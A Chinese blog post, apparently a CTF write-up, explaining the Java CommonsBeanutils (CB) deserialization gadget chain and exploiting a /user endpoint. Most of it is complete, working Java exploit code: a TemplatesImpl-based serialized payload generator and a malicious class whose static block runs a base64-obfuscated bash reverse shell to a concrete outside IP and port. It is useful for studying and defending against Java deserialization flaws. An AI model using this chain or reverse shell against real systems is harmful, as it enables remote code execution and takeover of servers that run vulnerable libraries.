Java-web CB链原理与实战

CB链

题目:polarctf-web-CB链

CB 链原理

CommonsBeanutils 是应用于 javabean 的工具,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法

commons-beanutils 中提供了一个静态方法PropertyUtils.getProperty(),可以让使用者直接调用任意JavaBean 的 getter 方法。
PropertyUtils.getProperty()传入两个参数:
第一个参数为 JavaBean 实例,第二个是 JavaBean 的属性

例如:

Person person = new Person("Mike");
PropertyUtils.getProperty(person,"name");

# 等价于 == 

Person person = new Person("Mike");
person.getName();

利用 TemplatesImpl 动态加载恶意类来实现 RCE:

TemplatesImpl#getOutputProperties()
    TemplatesImpl#newTransformer()
        TemplatesImpl#getTransletInstance()
            TemplatesImpl#defineTransletClasses()
                TransletClassLoader#defineClass()

利用 commons-beanutils 里的 Propertyutils.getProperty() 去调用 getter 函数。

然后往上找链子,发现 CommonBeanutils 利用链中核心的触发位置是 BeanComparator.compare() 函数,当调用 BeanComparator.compare() 函数时,
其内部会调用 getProperty() 函数,
进而调用 JavaBean 中对应属性的 getter 函数。

BeanComparator.compare()
    --> getProperty()
        --> JavaBean : getter

这是 BeanComparator 类中 compare() 方法的源代码,可以分析:
如果 this.property 为空,则会进行正常的比较。

// BeanComparator.compare()

public int compare(Object o1, Object o2) {
    if (this.property == null) {
        return this.comparator.compare(o1, o2);
    } else {
        try {
            Object value1 = PropertyUtils.getProperty(o1, this.property);
            Object value2 = PropertyUtils.getProperty(o2, this.property);
            return this.comparator.compare(value1, value2);
        } catch ...
    }
}

这里会调用PropertyUtils.getProperty()方法:
因此通过
o1 赋值构造好的 templates 对象,
property 赋值 为TemplatesImploutputProperties 属性,
即可调用 TemplatesImpl.getOutputProperties()
往下就是 TemplatesImpl 的利用链。

可以利用 CC2/4 链中用的 PriorityQueue.readObject() 来调用 compare()

CB链:

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl#newTransformer()
          -> ................
            -> TransletClassLoader.defineClass() 
              -> Evil.newInstance()

使用 CB 链

BeanComparator comparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(2);

这里第二句话相当于比较器,在 C++ 中有类似的比较器(助记),这里的 cmp 函数就是比较器:

bool cmp(int a, int b) {
    return a > b;
}

sort(arr, arr + 1, cmp);

在前面的 java 代码中使用 BeanComparator 类的比较器就是为了调用 Beancomparator 的 compare() 方法。
目前 CB 链:

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl#newTransformer()
          -> ................
            -> TransletClassLoader.defineClass() 
              -> Evil.newInstance()

这里初始化的时候使用正经对象,且 property 为空,是为了初始化时不要出错。初始化后,我们可以再用反射将 property 的值设置成恶意的 outputProperties,将 add 进队列里的 1、2 替换成恶意的 TemplateImpl 对象。

setFieldValue(comparator, "property", "outputProperties");

还需要用反射去修改 queue 属性的值,因为要控制 BeanComparator.compare() 的参数为恶意 templates 对象。

// 设置BeanComparator.compare()的参数
setFieldValue(queue, "queue", new Object[]{templates,templates});

目前 CB 链:

PriorityQueue.readObject()
  -> BeanComparator.compare()
    -> PropertyUtils.getProperty()
      -> TemplatesImpl.getOutputProperties()
        -> TemplatesImpl#newTransformer()
          -> ................
            -> TransletClassLoader.defineClass() 
              -> Evil.newInstance()

接下来给出 payload:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "iceland");
        byte[] code = Files.readAllBytes(Paths.get("evil.class路径"));
        byte[][] codes = {code};
        setFieldValue(templates, "_bytecodes", codes);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add(1);
        queue.add(2);

        setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数
        setFieldValue(comparator,"property","outputProperties");
        serialize(queue);
        unserialize("CB-bin/CB1.bin");
    }

    public static void setFieldValue(Object object,String field_name,Object filed_value) throws NoSuchFieldException, IllegalAccessException {
            Class clazz=object.getClass();
            Field declaredField=clazz.getDeclaredField(field_name);
            declaredField.setAccessible(true);
            declaredField.set(object,filed_value);
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CB-bin/CB1.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

题目实战(java搭建)

下载附件 CB.jar,反编译 jar 包

image

发现路由 /user 可以存在反序列化漏洞。
查看 pom.xml 发现依赖中有 commons-beanutils-1.9.2.jar 可以利用 CB 链,构造反序列化。

image

Jar 包搭建

环境搭建 部分我们已经实现了 CB 链的利用,这里用 CB 链去打。
首先在本地搭建好 jar 包的环境:

image

创建的时候不选择 spring-boot 项目,直接选择最普通的 java 项目,

  1. 这里我们创建 java 项目 test,项目仓库选择 maven。
  2. 我们只要将 jar 包中的 pom.xml 复制到 test 中的 pom.xml ,再刷新 maven,就能将题目 jar 包用到的资料导入。(这里提醒我自己把 maven 资源包提前下载好)
  3. 这里把 jar 包的主要部分代码复制到 test 项目中。
  4. 运行在 localhost:8080,现在可以对 poc 进行测试。

PoC 编写

项目结构

image

src/main/java/com/example/

    PoCBin/
        CB1.bin
        
    CommonsBeanutils1.java # CB 链
    
    MyExec.java            # 恶意类
    
    MyExec.class           # 恶意类字节码
    
执行命令:
    C:\java\java-web\src\main\java\com\example> javac -cp . MyExec.java
就能得到 MyExec.class,便于我们后面利用

创建 MyExec 恶意类:

package com.example;


import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class MyExec extends AbstractTranslet {
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    static {
        try {
        // 这里 RCE !!!
            Runtime.getRuntime().exec(
                    "bash -c \"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMjAwLjEyMC4xODgvMjMzMyAwPiYx|base64 -d|bash -i\""
            );
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

创建 CB 链

package com.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;


public class CommonsBeanutils1  {

    public static void main(final String[] args) throws Exception {

        // 创建 TemplatesImpl 利用链
        TemplatesImpl templates = new TemplatesImpl();
        
        setFieldValue(templates, "_name", "1ceLAND");

        // code 保存恶意类字节码
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\NoneIceland\\Desktop\\java\\java-web\\src\\main\\java\\com\\example\\MyExec.class"));
        byte[][] codes = {code};
        
        // 将恶意类打入 TemplatesImpl 利用链
        setFieldValue(templates, "_bytecodes", codes);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());


        // CB 链子 -- 利用优先队列类,优先队列的自动排序可以调用到 BeanComparator
        BeanComparator comparator = new BeanComparator();
        PriorityQueue<Object> queue = new PriorityQueue<Object>(20, comparator);
        queue.add(1);
        queue.add(2);

        // 这里将优先队列中正常的类替换成 TemplatesImpl 类,以调用 TemplatesImpl 利用链
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        setFieldValue(comparator, "property", "outputProperties");
        
        // 序列化-反序列化操作
        serialize(queue);
        unserialize("C:\\Users\\NoneIceland\\Desktop\\java\\java-web\\src\\main\\java\\com\\example\\PoCBin\\CB1.bin");
    }
    
    // 利用反射机制为类的属性赋值
    public static void setFieldValue(Object object, String field_name, Object field_value) throws NoSuchFieldError, IllegalAccessException, NoSuchFieldException {
        Class clazz = object.getClass();
        Field declaredField = clazz.getDeclaredField(field_name);
        declaredField.setAccessible(true);
        declaredField.set(object, field_value);
    }

    
    // 序列化操作,并输出 payload!!!
    public static byte[] serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("C:\\Users\\NoneIceland\\Desktop\\java\\java-web\\src\\main\\java\\com\\example\\PoCBin\\CB1.bin"));
        oos.writeObject(obj);
        oos.close();

        // 输出 payload 的 base64 编码
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(obj);
        byte[] bytes = byteArrayOutputStream.toByteArray();
        System.out.println(Base64.getEncoder().encodeToString(bytes));

        return bytes;
    }

    // 反序列化操作
    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        return ois.readObject();
    }
}

这样就准备完毕了!

输出 Payload

  1. 首先, 执行命令
    C:\java\java-web\src\main\java\com\example> javac -cp . MyExec.java
    获得恶意类的字节码
  2. 运行 CommonsBeanutils1.java 得到 payload!
  3. Url 编码传入
/user 
post: user=...

这里测试成功:
image

这题不出网,反弹 shell 不能成功,只能接下来寻求其他方式啦!

posted @ 2025-05-28 21:58  None_1ceLAND  阅读(67)  评论(2)    收藏  举报